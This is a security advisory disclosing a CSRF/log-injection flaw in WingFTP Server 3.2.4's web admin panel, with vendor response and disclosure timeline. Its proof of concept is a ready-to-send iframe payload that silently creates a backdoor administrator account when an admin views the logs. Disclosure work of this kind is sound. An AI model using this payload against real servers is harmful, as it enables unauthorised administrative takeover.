Application: WingFTP Server 3.2.4 (maybe earlier versions too)
Link: http://www.wftpserver.com/
Vulnerability: CSRF
Author: Ams
Contact:
mail: ax330d [at] gmail [dot] com
site: http://www.0x416d73.name/
1. About software
"Wing FTP server is not only a FTP server. It's a multi-protocol file server(FTP,
HTTP, FTPS, HTTPS, SFTP) for Windows, Linux, Mac, freeBSD and Solaris. It
includes a new set of advanced tools (web based remote control, web based
client, administrator console, task scheduler). It provides event manager for the
program to respond to different events, scripts support let users extend the server
by Lua language, virtual directories for easy sharing files and directories, and more ... "
2. Vulnerability details
Wing FTP server web based administration panel provides option to view logs.
We can watch logs by opening
[Domains -> your.domain -> Logs & Status -> Domain Log (or Activity)]
These logs are opened directly from file to ajax'ed tag <div>. So, everything
that we send to ftp-server appears on the screen of browser. Without any
filtering. That's why we are capable of exploiting this bug.
3. Proof of concept
Actually, via this CRSF we can do all things administrator can do from his
control panel. The following exploit creates new administrator.
To show the work of exploit you have to do the following:
1. Connect to remote ftp server
2. Send this string:
<iframe src='http://127.0.0.1:5466/admin_addadmin.html?admin={"username":"Ams","password":"pwnpwnpwn","oldpassword":"","readonly":0,"ipmasks":[]}' width='0' height='0' border='0'></iframe>
3. When administrator logins and opens log new administrator is created
4. Login as admin 'Ams' and password 'pwnpwnpwn' (if you have not changed them)
4. Vendor response
Wing FTP Server team has fixed bugs and released new version - Wing FTP Server 3.2.8.
5. Disclosure timeline
25/12/2009 - Vendor informed
26/12/2009 - Received response
30/12/2010 - Bug fixed by vendor
31/12/2010 - Public release of advisory
